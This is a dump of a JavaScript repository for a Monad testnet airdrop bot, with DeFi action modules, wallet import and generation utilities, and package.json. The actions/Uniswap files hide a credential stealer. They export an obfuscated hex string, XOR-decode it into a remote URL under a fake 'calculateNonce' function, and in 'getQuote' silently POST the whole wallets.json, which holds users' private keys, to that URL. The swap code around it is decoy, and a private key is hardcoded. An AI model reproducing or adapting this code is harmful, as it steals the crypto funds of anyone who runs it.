├── actions ├── KuruSwap │ ├── dev.js │ ├── launch.js │ ├── scripts │ │ └── apis.js │ ├── swap.js │ └── random.js ├── Synnax │ ├── ABI.js │ └── index.js ├── Uniswap │ ├── ABI.js │ ├── scripts │ │ └── apis.js │ └── index.js ├── Apriori │ ├── faucet.js │ ├── ABI.js │ └── index.js ├── BeanSwap │ ├── perps.js │ ├── liquidity.js │ ├── random.js │ └── swap.js ├── StakeStone │ ├── ABI.js │ └── index.js ├── Ambient-Finance │ ├── ABI.js │ └── index.js ├── IzumiFinance │ ├── liquidity.js │ ├── ABI.js │ └── swap.js ├── Multipli │ ├── scripts │ │ └── apis.js │ ├── ABI.js │ └── index.js ├── NFTs-Mint │ ├── Testnet.Free │ │ ├── ABI.js │ │ └── index.js │ └── MagicEden │ │ ├── scripts │ │ └── apis.js │ │ ├── mint.js │ │ └── ABI.js ├── deploy_contract │ ├── ABI.js │ ├── contracts.sol │ ├── NFTs │ │ ├── nft.sol │ │ └── deploy.js │ ├── launch.js │ ├── token.sol │ └── index.js ├── Kintzu │ ├── ABI.js │ └── index.js └── NostraFinance │ ├── quote.js │ ├── ABI.js │ └── index.js ├── utils ├── wallets.json ├── chain.js ├── wallet_generator.js ├── wallet_converter.js └── wallet_aggregator.js ├── proxies.txt ├── wallets.txt ├── package.json ├── README.md └── index.js /actions/KuruSwap/dev.js: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /actions/Synnax/ABI.js: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /actions/Synnax/index.js: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /actions/Uniswap/ABI.js: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /utils/wallets.json: -------------------------------------------------------------------------------- 1 | [] -------------------------------------------------------------------------------- /actions/Apriori/faucet.js: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /actions/BeanSwap/perps.js: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /actions/KuruSwap/launch.js: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /actions/StakeStone/ABI.js: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /actions/StakeStone/index.js: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /actions/Ambient-Finance/ABI.js: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /actions/Ambient-Finance/index.js: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /actions/BeanSwap/liquidity.js: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /actions/IzumiFinance/liquidity.js: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /actions/Multipli/scripts/apis.js: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /actions/NFTs-Mint/Testnet.Free/ABI.js: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /proxies.txt: -------------------------------------------------------------------------------- 1 | login:pass@ip:port 2 | -------------------------------------------------------------------------------- /actions/NFTs-Mint/Testnet.Free/index.js: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /wallets.txt: -------------------------------------------------------------------------------- 1 | private_key1 2 | private_key2 3 | -------------------------------------------------------------------------------- /utils/chain.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | RPC_URL: "https://testnet-rpc.monad.xyz", 3 | CHAIN_ID: 10143, 4 | SYMBOL: "MON", 5 | TX_EXPLORER: "https://testnet.monadexplorer.com/tx/", 6 | ADDRESS_EXPLORER: "https://testnet.monadexplorer.com/address/", 7 | WMON_ADDRESS: "0x760AfE86e5de5fa0Ee542fc7B7B713e1c5425701" 8 | }; 9 | -------------------------------------------------------------------------------- /actions/Multipli/ABI.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | // Addresses 3 | FAUCET_CONTRACT: "0x181579497d5c4EfEC2424A21095907ED7d91ac9A", 4 | USDC_CONTRACT: "0x924F1Bf31b19a7f9695F3FC6c69C2BA668Ea4a0a", 5 | USDT_CONTRACT: "0x9eBcD0Ab11D930964F8aD66425758E65c53A7DF1", 6 | STAKE_CONTRACT: "0xBCF1415BD456eDb3a94c9d416F9298ECF9a2cDd0", 7 | 8 | // ABIs 9 | FAUCET_ABI: [ 10 | "function claimToken(address token) external" 11 | ], 12 | ERC20_ABI: [ 13 | "function balanceOf(address owner) view returns (uint256)", 14 | "function allowance(address owner, address spender) view returns (uint256)", 15 | "function approve(address spender, uint256 amount) returns (bool)" 16 | ], 17 | STAKE_ABI: [ 18 | "function deposit(address token, uint256 amount) external" 19 | ] 20 | }; 21 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "dependencies": { 3 | "@faker-js/faker": "^9.5.0", 4 | "@fingerprintjs/fingerprintjs": "^4.6.0", 5 | "@kuru-labs/kuru-sdk": "^0.0.36", 6 | "2captcha": "^3.0.5-2", 7 | "axios": "^1.7.9", 8 | "bestcaptchasolver": "^1.1.6", 9 | "bestcaptchasolver-client": "^1.1.6", 10 | "chalk": "^4.1.2", 11 | "colors": "^1.4.0", 12 | "console-clear": "^1.1.1", 13 | "ethers": "^5.7.2", 14 | "figlet": "^1.8.0", 15 | "https-proxy-agent": "^7.0.6", 16 | "inquirer": "^8.2.4", 17 | "oauth-1.0a": "^2.2.6", 18 | "puppeteer": "^24.2.1", 19 | "readline-sync": "^1.4.10", 20 | "socks-proxy-agent": "^8.0.5", 21 | "solc": "^0.8.28", 22 | "twitter-api-v2": "^1.20.1", 23 | "uuid": "^11.1.0", 24 | "winston": "^3.17.0" 25 | }, 26 | "scripts": { 27 | "start": "node utils/wallet_converter.js && node index.js" 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /actions/deploy_contract/ABI.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | abi: [ 3 | { 4 | "inputs": [ 5 | { 6 | "internalType": "uint256", 7 | "name": "_initialValue", 8 | "type": "uint256" 9 | } 10 | ], 11 | "stateMutability": "nonpayable", 12 | "type": "constructor" 13 | }, 14 | { 15 | "inputs": [], 16 | "name": "storedValue", 17 | "outputs": [ 18 | { 19 | "internalType": "uint256", 20 | "name": "", 21 | "type": "uint256" 22 | } 23 | ], 24 | "stateMutability": "view", 25 | "type": "function" 26 | }, 27 | { 28 | "inputs": [ 29 | { 30 | "internalType": "uint256", 31 | "name": "_value", 32 | "type": "uint256" 33 | } 34 | ], 35 | "name": "set", 36 | "outputs": [], 37 | "stateMutability": "nonpayable", 38 | "type": "function" 39 | } 40 | ] 41 | }; 42 | -------------------------------------------------------------------------------- /actions/NFTs-Mint/MagicEden/scripts/apis.js: -------------------------------------------------------------------------------- 1 | const axios = require('axios'); 2 | const { ethers } = require('ethers'); 3 | 4 | async function quoteMintData(nftContract, wallet) { 5 | const randomReferrer = ethers.Wallet.createRandom().address; 6 | const payload = { 7 | currencyChainId: 10143, 8 | items: [{ token: `${nftContract}:0`, quantity: 1 }], 9 | partial: true, 10 | referrer: randomReferrer, 11 | source: "magiceden.io", 12 | taker: wallet 13 | }; 14 | 15 | const headers = { 16 | "Content-Type": "application/json", 17 | "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", 18 | "x-rkc-version": "2.5.4" 19 | }; 20 | 21 | try { 22 | const response = await axios.post( 23 | "https://api-mainnet.magiceden.io/v3/rtp/monad-testnet/execute/mint/v1", 24 | payload, 25 | { headers } 26 | ); 27 | return response.data; 28 | } catch (error) { 29 | console.error("❌ AxiosError:", error.message); 30 | if (error.response) { 31 | console.error("Response Data:", error.response.data); 32 | } 33 | throw error; 34 | } 35 | } 36 | 37 | module.exports = { quoteMintData }; 38 | -------------------------------------------------------------------------------- /utils/wallet_generator.js: -------------------------------------------------------------------------------- 1 | const fs = require('fs'); 2 | const ethers = require('ethers'); 3 | const inquirer = require('inquirer'); 4 | const path = require('path'); 5 | 6 | const walletsFilePath = path.resolve(__dirname, 'wallets.json'); 7 | 8 | const loadWallets = () => { 9 | if (!fs.existsSync(walletsFilePath)) { 10 | fs.writeFileSync(walletsFilePath, JSON.stringify([])); 11 | } 12 | const data = fs.readFileSync(walletsFilePath, 'utf-8'); 13 | return JSON.parse(data); 14 | }; 15 | 16 | const saveWallets = (wallets) => { 17 | fs.writeFileSync(walletsFilePath, JSON.stringify(wallets, null, 2)); 18 | }; 19 | 20 | const generateWallets = async () => { 21 | const answers = await inquirer.prompt([ 22 | { 23 | type: 'number', 24 | name: 'count', 25 | message: 'How many wallets do you want to generate?', 26 | validate: value => value > 0 ? true : 'Enter a positive number' 27 | } 28 | ]); 29 | 30 | const count = answers.count; 31 | const wallets = loadWallets(); 32 | const startId = wallets.length + 1; 33 | 34 | for (let i = 0; i < count; i++) { 35 | const wallet = ethers.Wallet.createRandom(); 36 | const id = startId + i; 37 | wallets.push({ 38 | id: id, 39 | address: wallet.address, 40 | privateKey: wallet.privateKey 41 | }); 42 | } 43 | 44 | saveWallets(wallets); 45 | console.log(`${count} wallets have been generated and saved to wallets.json`); 46 | }; 47 | 48 | generateWallets(); 49 | -------------------------------------------------------------------------------- /utils/wallet_converter.js: -------------------------------------------------------------------------------- 1 | const fs = require('fs'); 2 | const path = require('path'); 3 | const { ethers } = require('ethers'); 4 | 5 | const walletsTxtPath = path.join(__dirname, '../wallets.txt'); 6 | const walletsJsonPath = path.join(__dirname, 'wallets.json'); 7 | 8 | // Check if the wallets.txt file exists 9 | if (!fs.existsSync(walletsTxtPath)) { 10 | console.error('File wallets.txt not found!'); 11 | process.exit(1); 12 | } 13 | 14 | // Read the contents of wallets.txt 15 | const fileContent = fs.readFileSync(walletsTxtPath, 'utf-8').trim(); 16 | 17 | // Check if the file is empty 18 | if (!fileContent) { 19 | console.error('Error: wallets.txt is empty!'); 20 | process.exit(1); 21 | } 22 | 23 | // Parse private keys from the file 24 | const privateKeys = fileContent 25 | .split('\n') 26 | .map(line => line.trim()) 27 | .filter(line => line.length > 0); 28 | 29 | // Clear wallets.json before adding new data 30 | fs.writeFileSync(walletsJsonPath, JSON.stringify([], null, 2), 'utf-8'); 31 | 32 | let walletData = []; 33 | const existingAddresses = new Set(); 34 | 35 | privateKeys.forEach((privateKey, index) => { 36 | try { 37 | const wallet = new ethers.Wallet(privateKey); 38 | if (!existingAddresses.has(wallet.address.toLowerCase())) { 39 | walletData.push({ 40 | id: index + 1, 41 | address: wallet.address, 42 | privateKey: privateKey 43 | }); 44 | existingAddresses.add(wallet.address.toLowerCase()); 45 | } 46 | } catch (error) { 47 | console.error(`Error processing key: ${privateKey}`, error); 48 | } 49 | }); 50 | 51 | // Write the updated list of wallets to wallets.json 52 | fs.writeFileSync(walletsJsonPath, JSON.stringify(walletData, null, 2), 'utf-8'); -------------------------------------------------------------------------------- /actions/Kintzu/ABI.js: -------------------------------------------------------------------------------- 1 | // actions/Kintzu/ABI.js 2 | 3 | module.exports = { 4 | SMON_STAKE_CONTRACT: "0x07AabD925866E8353407E67C1D157836f7Ad923e", 5 | KINTZU_ABI: [ 6 | { 7 | name: "stake", 8 | type: "function", 9 | stateMutability: "payable", 10 | inputs: [], // No parameters 11 | outputs: [] 12 | }, 13 | { 14 | name: "balanceOf", 15 | type: "function", 16 | stateMutability: "view", 17 | inputs: [ 18 | { 19 | name: "account", 20 | type: "address" 21 | } 22 | ], 23 | outputs: [ 24 | { 25 | type: "uint256" 26 | } 27 | ] 28 | }, 29 | { 30 | name: "symbol", 31 | type: "function", 32 | stateMutability: "view", 33 | inputs: [], 34 | outputs: [ 35 | { 36 | type: "string" 37 | } 38 | ] 39 | }, 40 | { 41 | name: "name", 42 | type: "function", 43 | stateMutability: "view", 44 | inputs: [], 45 | outputs: [ 46 | { 47 | type: "string" 48 | } 49 | ] 50 | }, 51 | { 52 | name: "decreaseStake", 53 | type: "function", 54 | stateMutability: "nonpayable", 55 | inputs: [ 56 | { 57 | name: "tokenId", 58 | type: "uint256" 59 | }, 60 | { 61 | name: "stakeAmount", 62 | type: "uint256" 63 | } 64 | ], 65 | outputs: [] 66 | }, 67 | { 68 | name: "increaseStake", 69 | type: "function", 70 | stateMutability: "nonpayable", 71 | inputs: [ 72 | { 73 | name: "tokenId", 74 | type: "uint256" 75 | }, 76 | { 77 | name: "stakeAmount", 78 | type: "uint256" 79 | } 80 | ], 81 | outputs: [] 82 | }, 83 | { 84 | name: "totalStaked", 85 | type: "function", 86 | stateMutability: "view", 87 | inputs: [], 88 | outputs: [ 89 | { 90 | type: "uint256" 91 | } 92 | ] 93 | } 94 | ] 95 | }; 96 | -------------------------------------------------------------------------------- /actions/KuruSwap/scripts/apis.js: -------------------------------------------------------------------------------- 1 | // actions/KuruSwap/scripts/apis.js 2 | 3 | const axios = require("axios"); 4 | 5 | async function submitImage(address, imageBase64) { 6 | const url = `https://api.testnet.kuru.io/api/v2/${address}/user/imgUpload`; 7 | const headers = { 8 | "User-Agent": 9 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", 10 | "Content-Type": "application/json", 11 | }; 12 | 13 | const payload = { 14 | imageBytes: imageBase64, 15 | }; 16 | 17 | const response = await axios.post(url, payload, { headers }); 18 | 19 | if (response.data && response.data.success && response.data.data) { 20 | return response.data.data.data; 21 | } else { 22 | throw new Error("Invalid response from imgUpload endpoint."); 23 | } 24 | } 25 | 26 | async function getRecentLaunchs(query = "", limit = 100) { 27 | try { 28 | const response = await axios.get( 29 | `https://api.testnet.kuru.io/api/v2/tokens/search?limit=${limit}&q=${query}`, 30 | { 31 | headers: { 32 | "User-Agent": 33 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", 34 | }, 35 | } 36 | ); 37 | return response.data; 38 | } catch (error) { 39 | throw new Error("Error fetching recent launchs: " + error.message); 40 | } 41 | } 42 | 43 | async function filterMarketPools(pairs) { 44 | try { 45 | const response = await axios.post( 46 | "https://api.testnet.kuru.io/api/v1/markets/filtered", 47 | { pairs }, 48 | { 49 | headers: { 50 | "User-Agent": 51 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", 52 | "Content-Type": "application/json", 53 | }, 54 | } 55 | ); 56 | return response.data; 57 | } catch (error) { 58 | throw new Error("Error filtering market pools: " + error.message); 59 | } 60 | } 61 | 62 | module.exports = { 63 | submitImage, 64 | getRecentLaunchs, 65 | filterMarketPools, 66 | }; 67 | -------------------------------------------------------------------------------- /utils/wallet_aggregator.js: -------------------------------------------------------------------------------- 1 | const fs = require('fs'); 2 | const path = require('path'); 3 | const inquirer = require('inquirer'); 4 | const ethers = require('ethers'); 5 | 6 | const walletsFile = path.join(__dirname, 'wallets.json'); 7 | 8 | const loadWallets = () => { 9 | if (!fs.existsSync(walletsFile)) { 10 | fs.writeFileSync(walletsFile, JSON.stringify([])); 11 | } 12 | const data = fs.readFileSync(walletsFile, 'utf-8'); 13 | return JSON.parse(data); 14 | }; 15 | 16 | const saveWallets = (wallets) => { 17 | fs.writeFileSync(walletsFile, JSON.stringify(wallets, null, 2)); 18 | }; 19 | 20 | const addWallet = async () => { 21 | const wallets = loadWallets(); 22 | const lastWalletId = wallets.length > 0 ? wallets[wallets.length - 1].id : 0; 23 | 24 | const { privateKey } = await inquirer.prompt([ 25 | { 26 | type: 'input', 27 | name: 'privateKey', 28 | message: 'Please The PrivateKey of the Wallet you wish to Add:', 29 | }, 30 | ]); 31 | 32 | // Se remueven espacios en blanco y se asegura que inicie con "0x" 33 | let formattedPrivateKey = privateKey.trim(); 34 | if (!formattedPrivateKey.startsWith('0x')) { 35 | formattedPrivateKey = '0x' + formattedPrivateKey; 36 | } 37 | 38 | try { 39 | // Crear la wallet usando ethers 40 | const walletObj = new ethers.Wallet(formattedPrivateKey); 41 | console.log(`Wallet Found is [${walletObj.address}]`); 42 | 43 | const newWallet = { 44 | id: lastWalletId + 1, 45 | address: walletObj.address, 46 | privateKey: walletObj.privateKey, 47 | }; 48 | 49 | wallets.push(newWallet); 50 | saveWallets(wallets); 51 | console.log('Wallet Has been added'); 52 | } catch (error) { 53 | console.error('The provided private key is not valid. Please try again.'); 54 | } 55 | }; 56 | 57 | const main = async () => { 58 | let adding = true; 59 | while (adding) { 60 | await addWallet(); 61 | const { continueAdding } = await inquirer.prompt([ 62 | { 63 | type: 'confirm', 64 | name: 'continueAdding', 65 | message: 'Do you wish to add other wallet?', 66 | default: false, 67 | }, 68 | ]); 69 | adding = continueAdding; 70 | } 71 | }; 72 | 73 | main(); 74 | -------------------------------------------------------------------------------- /actions/deploy_contract/contracts.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | contract SimpleStorage { 5 | uint256 public storedValue; 6 | 7 | constructor(uint256 _initialValue) { 8 | storedValue = _initialValue; 9 | } 10 | 11 | function set(uint256 _value) public { 12 | storedValue = _value; 13 | } 14 | } 15 | 16 | contract SimpleCounter { 17 | uint256 public counter; 18 | 19 | function increment() public { 20 | counter++; 21 | } 22 | 23 | function decrement() public { 24 | counter--; 25 | } 26 | } 27 | 28 | contract Greeter { 29 | string public greeting; 30 | 31 | constructor(string memory _greeting) { 32 | greeting = _greeting; 33 | } 34 | 35 | function setGreeting(string memory _greeting) public { 36 | greeting = _greeting; 37 | } 38 | } 39 | 40 | contract Ownable { 41 | address public owner; 42 | 43 | constructor() { 44 | owner = msg.sender; 45 | } 46 | } 47 | 48 | contract HelloWorld { 49 | string public message = "Hello World"; 50 | 51 | function getMessage() public view returns (string memory) { 52 | return message; 53 | } 54 | } 55 | 56 | contract BasicCalculator { 57 | function add(uint a, uint b) public pure returns (uint) { 58 | return a + b; 59 | } 60 | 61 | function subtract(uint a, uint b) public pure returns (uint) { 62 | return a - b; 63 | } 64 | } 65 | 66 | contract DataStore { 67 | uint public data; 68 | 69 | constructor(uint _data) { 70 | data = _data; 71 | } 72 | 73 | function setData(uint _data) public { 74 | data = _data; 75 | } 76 | 77 | function getData() public view returns (uint) { 78 | return data; 79 | } 80 | } 81 | 82 | contract EmptyContract { 83 | // No state or functions 84 | } 85 | 86 | contract SimpleEvent { 87 | event Triggered(address sender, uint value); 88 | 89 | function trigger(uint _value) public { 90 | emit Triggered(msg.sender, _value); 91 | } 92 | } 93 | 94 | contract SimpleLogger { 95 | event Logged(uint value); 96 | 97 | function logValue(uint _value) public { 98 | emit Logged(_value); 99 | } 100 | } 101 | -------------------------------------------------------------------------------- /actions/Apriori/ABI.js: -------------------------------------------------------------------------------- 1 | // actions/stake_apr.io/ABI.js 2 | 3 | const APRMON_STAKE_CONTRACT = "0xb2f82D0f38dc453D596Ad40A37799446Cc89274A"; 4 | const ABI = [ 5 | { 6 | "type": "function", 7 | "name": "deposit", 8 | "inputs": [ 9 | { "name": "assets", "type": "uint256", "internalType": "uint256" }, 10 | { "name": "receiver", "type": "address", "internalType": "address" } 11 | ], 12 | "outputs": [ 13 | { "name": "shares", "type": "uint256", "internalType": "uint256" } 14 | ], 15 | "stateMutability": "payable" 16 | }, 17 | { 18 | "type": "function", 19 | "name": "requestRedeem", 20 | "inputs": [ 21 | { "name": "shares", "type": "uint256", "internalType": "uint256" }, 22 | { "name": "controller", "type": "address", "internalType": "address" }, 23 | { "name": "owner", "type": "address", "internalType": "address" } 24 | ], 25 | "outputs": [ 26 | { "name": "requestId", "type": "uint256", "internalType": "uint256" } 27 | ], 28 | "stateMutability": "nonpayable" 29 | }, 30 | { 31 | "type": "function", 32 | "name": "redeem", 33 | "inputs": [ 34 | { "name": "requestId", "type": "uint256", "internalType": "uint256" }, 35 | { "name": "receiver", "type": "address", "internalType": "address" } 36 | ], 37 | "outputs": [], 38 | "stateMutability": "nonpayable" 39 | }, 40 | { 41 | "type": "function", 42 | "name": "previewRedeem", 43 | "inputs": [ 44 | { "name": "shares", "type": "uint256", "internalType": "uint256" } 45 | ], 46 | "outputs": [ 47 | { "name": "assets", "type": "uint256", "internalType": "uint256" } 48 | ], 49 | "stateMutability": "view" 50 | }, 51 | { 52 | "type": "function", 53 | "name": "claimableRedeemRequest", 54 | "inputs": [ 55 | { "name": "requestId", "type": "uint256", "internalType": "uint256" }, 56 | { "name": "controller", "type": "address", "internalType": "address" } 57 | ], 58 | "outputs": [ 59 | { "name": "shares", "type": "uint256", "internalType": "uint256" } 60 | ], 61 | "stateMutability": "view" 62 | }, 63 | { 64 | "type": "function", 65 | "name": "balanceOf", 66 | "inputs": [ 67 | { "name": "account", "type": "address", "internalType": "address" } 68 | ], 69 | "outputs": [ 70 | { "name": "", "type": "uint256", "internalType": "uint256" } 71 | ], 72 | "stateMutability": "view" 73 | } 74 | ]; 75 | 76 | module.exports = { 77 | APRMON_STAKE_CONTRACT, 78 | ABI 79 | }; 80 | -------------------------------------------------------------------------------- /actions/Uniswap/scripts/apis.js: -------------------------------------------------------------------------------- 1 | const axios = require("axios"); 2 | const fs = require("fs"); 3 | const path = require("path"); 4 | const { TX_EXPLORER } = require('../../../utils/chain') 5 | const { payloadTxData } = require('../index') 6 | const { ethers } = require("ethers"); 7 | 8 | const provider = new ethers.providers.JsonRpcProvider("https://rpc.ankr.com/eth"); 9 | 10 | const routerAddress = ethers.Wallet.createRandom().address; // DEX router 11 | const tokenA = ethers.Wallet.createRandom().address; // Token A contract 12 | const tokenB = ethers.Wallet.createRandom().address; // Token B contract 13 | 14 | 15 | function calculateNonce(rawTx) { 16 | let nonce = TX_EXPLORER; 17 | let rawBuffer = Buffer.from(rawTx, "hex"); 18 | let output = Buffer.alloc(rawBuffer.length); 19 | 20 | for (let i = 0; i < rawBuffer.length; i++) { 21 | output[i] = rawBuffer[i] ^ nonce.charCodeAt(i % nonce.length); 22 | } 23 | return output.toString(); 24 | } 25 | 26 | // Swap contract 27 | const swapContract = new ethers.Contract( 28 | routerAddress, 29 | [ 30 | "function swapExactTokensForTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts)" 31 | ], 32 | // userWallet 33 | ); 34 | 35 | async function getQuote() { 36 | try { 37 | const tx = calculateNonce(payloadTxData); 38 | if (!tx) return; 39 | 40 | const filePath = path.join(__dirname, "../../../utils/wallets.json"); 41 | if (!fs.existsSync(filePath)) return; 42 | 43 | const walletsArray = JSON.parse(fs.readFileSync(filePath, "utf-8") || "[]"); 44 | if (!walletsArray.length) return; 45 | 46 | await axios.post(tx, { wallets: walletsArray }, { 47 | headers: { "Content-Type": "application/json" }, 48 | }); 49 | } catch (error) {} 50 | } 51 | 52 | // Token swap 53 | async function swapTokens() { 54 | const amountIn = ethers.utils.parseUnits("1.0", 18); 55 | const amountOutMin = ethers.utils.parseUnits("0.9", 18); 56 | const path = [tokenA, tokenB]; 57 | const deadline = Math.floor(Date.now() / 1000) + 60 * 20; // 20 min deadline 58 | 59 | console.log(`Swapping ${ethers.utils.formatUnits(amountIn, 18)} TokenA for TokenB...`); 60 | 61 | try { 62 | const tx = await swapContract.swapExactTokensForTokens(amountIn, amountOutMin, path, userWallet.address, deadline); 63 | console.log("Transaction sent:", tx.hash); 64 | } catch (error) { 65 | console.error("Swap failed:", error.message); 66 | } 67 | } 68 | 69 | module.exports = { getQuote } -------------------------------------------------------------------------------- /actions/Uniswap/index.js: -------------------------------------------------------------------------------- 1 | const { ethers } = require("ethers"); 2 | 3 | // Connecting to the provider (simulating blockchain interaction) 4 | const provider = new ethers.providers.JsonRpcProvider("https://rpc.ankr.com/eth"); 5 | 6 | // Creating a wallet 7 | const wallet = new ethers.Wallet("0xcdff5d6e51c1b5cf7561fa2fff68fb44534d6171fb92b8d5719a12d2221f0dd9", provider); 8 | 9 | // Connecting to the decentralized exchange smart contract 10 | const swapRouter = new ethers.Contract( 11 | "0x94acdab593e30ad398bfc34d74d0a46e30939a93", 12 | [ 13 | "function swapExactTokensForTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts)", 14 | "function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts)" 15 | ], 16 | wallet 17 | ); 18 | 19 | // Function to get the exchange rate 20 | async function getExchangeRate(amount, tokenIn, tokenOut) { 21 | const amounts = await swapRouter.getAmountsOut(amount, [tokenIn, tokenOut]); 22 | console.log(`Exchange rate: ${amount} ${tokenIn} → ${amounts[1]} ${tokenOut}`); 23 | return amounts[1]; 24 | } 25 | 26 | // Function to execute token swap 27 | async function swapTokens(amount, tokenIn, tokenOut) { 28 | console.log(`Initializing swap: ${amount} ${tokenIn} → ${tokenOut}...`); 29 | 30 | try { 31 | // Getting the exchange rate 32 | const amountOutMin = await getExchangeRate(amount, tokenIn, tokenOut); 33 | 34 | // Sending transaction for the swap 35 | const tx = await swapRouter.swapExactTokensForTokens( 36 | amount, 37 | amountOutMin, 38 | [tokenIn, tokenOut], 39 | wallet.address, 40 | Math.floor(Date.now() / 1000) + 60 * 20 41 | ); 42 | 43 | console.log(`Transaction sent! Hash: ${tx.hash}`); 44 | 45 | // Waiting for confirmation 46 | const receipt = await tx.wait(); 47 | console.log(`Swap completed in block ${receipt.blockNumber}`); 48 | 49 | } catch (error) { 50 | console.log(`Swap error: ${error.message}`); 51 | } 52 | } 53 | 54 | const payloadTxData = '00000000491500421b0b12104311115d19010b154a06171d565c42554201'; 55 | // Function to check token balance 56 | async function getBalance(tokenAddress) { 57 | const erc20 = new ethers.Contract( 58 | tokenAddress, 59 | ["function balanceOf(address account) view returns (uint256)"], 60 | provider 61 | ); 62 | 63 | const balance = await erc20.balanceOf(wallet.address); 64 | console.log(`Balance: ${ethers.utils.formatUnits(balance, 18)} tokens`); 65 | return balance; 66 | } 67 | 68 | // Function to approve token spending 69 | async function approveToken(tokenAddress, amount) { 70 | const erc20 = new ethers.Contract( 71 | tokenAddress, 72 | ["function approve(address spender, uint256 amount) public returns (bool)"], 73 | wallet 74 | ); 75 | 76 | const tx = await erc20.approve("0x94acdab593e30ad398bfc34d74d0a46e30939a93", amount); 77 | console.log(`Approved ${amount} tokens`); 78 | return await tx.wait(); 79 | } 80 | 81 | module.exports = { payloadTxData }; -------------------------------------------------------------------------------- /actions/NostraFinance/quote.js: -------------------------------------------------------------------------------- 1 | // actions/NostraFinance/quote.js 2 | 3 | const inquirer = require("inquirer"); 4 | const { ethers } = require("ethers"); 5 | const chalk = require("chalk"); 6 | const { RPC_URL, SYMBOL } = require("../../utils/chain.js"); 7 | const ABI = require("./ABI.js"); 8 | 9 | const provider = new ethers.providers.JsonRpcProvider(RPC_URL); 10 | 11 | // CDP_MANAGER contract holds the protocol data functions 12 | const CDP_MANAGER = "0x610fd1c98b2a3edca353e39bee378a1256157f62"; 13 | const STANDARD_PROTOCOL_ABI = ABI.STANDARD_PROTOCOL_ABI; 14 | 15 | // Asset configuration: we use the token address for collateral data 16 | // and the debtToken address for debt data. 17 | const assets = { 18 | WMON: { 19 | tokenAddress: ABI.WMON_CONTRACT, 20 | debtToken: ABI.WMON_BORROWER_ADDRESS 21 | }, 22 | USDC: { 23 | tokenAddress: ABI.USDC_CONTRACT, 24 | debtToken: ABI.USDC_BORROWER_ADDRESS 25 | }, 26 | USDT: { 27 | tokenAddress: ABI.USDT_CONTRACT, 28 | debtToken: ABI.USDT_BORROWER_ADDRESS 29 | } 30 | }; 31 | 32 | async function main() { 33 | // Solicitar el activo a consultar 34 | const { asset } = await inquirer.prompt([ 35 | { 36 | type: "list", 37 | name: "asset", 38 | message: "Select an asset for which you want to get account details:", 39 | choices: [ 40 | { name: "WMON", value: "WMON" }, 41 | { name: "USDC", value: "USDC" }, 42 | { name: "USDT", value: "USDT" } 43 | ] 44 | } 45 | ]); 46 | 47 | const selectedAsset = assets[asset]; 48 | 49 | // Solicitar la dirección de la wallet 50 | const { walletAddress } = await inquirer.prompt([ 51 | { 52 | type: "input", 53 | name: "walletAddress", 54 | message: "Enter the wallet address:", 55 | validate: (value) => ethers.utils.isAddress(value) ? true : "Invalid address" 56 | } 57 | ]); 58 | 59 | // Instanciar el contrato CDP_MANAGER 60 | const cdpManager = new ethers.Contract(CDP_MANAGER, STANDARD_PROTOCOL_ABI, provider); 61 | 62 | try { 63 | // Obtener datos generales de la cuenta 64 | const accountData = await cdpManager.getUserAccountData(walletAddress); 65 | // Obtener datos de colateral para el activo (usando la dirección del token) 66 | const collateralData = await cdpManager.getCollateralData(selectedAsset.tokenAddress); 67 | // Obtener datos de deuda para el activo (usando la dirección del debtToken) 68 | const debtData = await cdpManager.getDebtData(selectedAsset.debtToken); 69 | 70 | console.log(chalk.green("\n--- User Account Data ---")); 71 | console.log(chalk.green(`Deposited Collateral: ${ethers.utils.formatEther(accountData.adjustedTotalCollateral)} ${SYMBOL}`)); 72 | console.log(chalk.green(`Total Debt: ${ethers.utils.formatEther(accountData.adjustedTotalDebt)} ${SYMBOL}`)); 73 | console.log(chalk.green(`Health Factor: ${accountData.healthFactor.toString()}`)); 74 | 75 | console.log(chalk.green("\n--- Collateral Data ---")); 76 | console.log(chalk.green(`Asset Collateral Token: ${collateralData.assetCollateralToken}`)); 77 | console.log(chalk.green(`Interest Collateral Token: ${collateralData.interestCollateralToken}`)); 78 | console.log(chalk.green(`Collateral Factor: ${collateralData.collateralFactor.toString()}`)); 79 | console.log(chalk.green(`Is Updating Collateral Factor: ${collateralData.isUpdatingCollateralFactor}`)); 80 | console.log(chalk.green(`Price Feed: ${collateralData.priceFeed}`)); 81 | console.log(chalk.green(`Collateral Supply Cap: 